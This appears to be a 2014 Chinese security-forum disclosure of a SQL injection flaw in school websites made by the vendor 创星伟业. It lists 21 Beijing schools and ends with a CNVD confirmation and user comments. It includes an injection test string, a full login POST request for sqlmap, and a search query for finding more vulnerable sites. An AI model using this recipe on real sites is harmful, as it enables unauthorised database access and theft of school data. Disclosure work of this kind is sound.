通用性SQL注射漏洞之1(影响北京市所有幼儿园中小学等)

影响范围：

1.北京市西单小学(http://**.**.**.**/)

2.北京市铁路第二中学(http://**.**.**.**/)

3.北京一六一中学(http://**.**.**.**/)

4.北京市第十三中学(http://**.**.**.**/)

5.北京市第7中学(http://**.**.**.**/)

6.北京市西城区奋斗小学(http://**.**.**.**/)

7.北京市西城区四根柏小学(http://**.**.**.**/)

8.北京市西城区西四北四条小学(http://**.**.**.**/)

9.北京市西城区中古友谊小学(http://**.**.**.**/)

10.北京市西城区教育考试中心(http://**.**.**.**/)

11.北京市西城区鸦儿胡同小学(http://**.**.**.**/)

12.北京市西城区白云路小学(http://**.**.**.**/)

13.北京第三中学(http://**.**.**.**/)

14.北京市第四十四中学(http://**.**.**.**/)

15.北京市西城区阜成门外第一小学(http://**.**.**.**/)

16.北京市第五十六中学(http://**.**.**.**/)

17.北京教育学院附属中学(http://**.**.**.**/)

18.北京市西城区中华路小学(http://**.**.**.**/)

19.北京市第八中学分校(http://**.**.**.**/)

20.北京市第六幼儿园(http://**.**.**.**/)

21.北京市外事学校(http://**.**.**.**/)

暂时我就先列21个，影响范围很广泛，不仅仅局限于幼儿园/中小学，其他方面也有涉及，百度一搜:技术支持:创星伟业，就出来很多很多。

http://**.**.**.**/s?wd=%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81%3A%E5%88%9B%E6%98%9F%E4%BC%9F%E4%B8%9A&rsv_spt=1&issp=1&rsv_bp=0&ie=utf-8&tn=baiduhome_pg&rsv_n=2&rsv_sug3=1&rsv_sug4=16&rsv_sug1=1&rsv_sug2=0&inputT=293&rsv_sug=1

由于google被挡了，我就不google了，直接百度搜索：技术支持:创星伟业

漏洞分析：

SQL注射漏洞存在于后台管理页面，以北京市第十三中学为例，地址：http://**.**.**.**/admin/index.aspx

爆字表和字段:a' having 1=1 --

直接丢到sqlmap来吧~

POST /admin/index.aspx HTTP/1.1
 Host: **.**.**.**
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://**.**.**.**/admin/index.aspx
 Cookie: ASP.NET_SessionId=qdsymcm41koopyaykwvoji55; CNZZDATA1044803=cnzz_eid%3D1755471725-1404997302-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1404997302; CheckCode=XIPM
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 275
 
 __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtMTk0OTYxNTk2Nzs7bDxSZW1lbWJlclBhc3N3b3JkO1N1Ym1pdDs%2BPqXVLzJNdDNVnMEAXanRXgcfWNZK&__VIEWSTATEGENERATOR=B80FDF83&LoginName=admin&LoginPassword=admin&CheckCode=XIPM&LoginForced=true&RememberLoginPassword=&Submit.x=53&Submit.y=20

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-07-15 21:27

厂商回复：

最新状态：

2014-07-16：CNVD确认并复现所述情况，已经由CNVD通过电话和邮件方式通报给软件生产厂商北京创星伟业公司。

1. 2014-07-11 00:45 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:105 | 传闻中魇是一个惊世奇男子， 但是除了他华...)

   0

   所有？夸张了吧

   1# 回复此人

2. 2014-07-11 00:52 | Summer ( 普通白帽子 | Rank:458 漏洞数:101 | 万年普通白帽子)

   0

   @魇 小弟不才 只会用夸张修辞手法

   2# 回复此人

3. 2014-07-11 08:47 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:107 )

   0

   幼儿园、小学生你都不放过

   3# 回复此人

4. 2014-07-11 08:53 | 大大灰狼 ( 普通白帽子 | Rank:278 漏洞数:43 | Newbie)

   0

   @浮萍 .......

   4# 回复此人

5. 2014-07-11 09:35 | 小川 ( 核心白帽子 | Rank:1627 漏洞数:230 | 一个致力要将乌云变成搞笑论坛的男人)

   0

   萝莉控！放开那些祖国的花朵，让我来

   5# 回复此人

6. 2014-07-11 09:44 | [email protected] ( 普通白帽子 | Rank:288 漏洞数:24 | ANONYMOUS)

   0

   草 你这预定的也太早了 还有没有给兄弟们留位置啊！

   6# 回复此人

7. 2014-07-11 09:57 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

   0

   上到九十九 下到刚会走

   7# 回复此人

8. 2014-10-09 08:56 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:9 | 软件开发8年了，也来挖挖漏洞，为创建安全...)

   0

   $标识什么意思啊？发奖金吗？

   8# 回复此人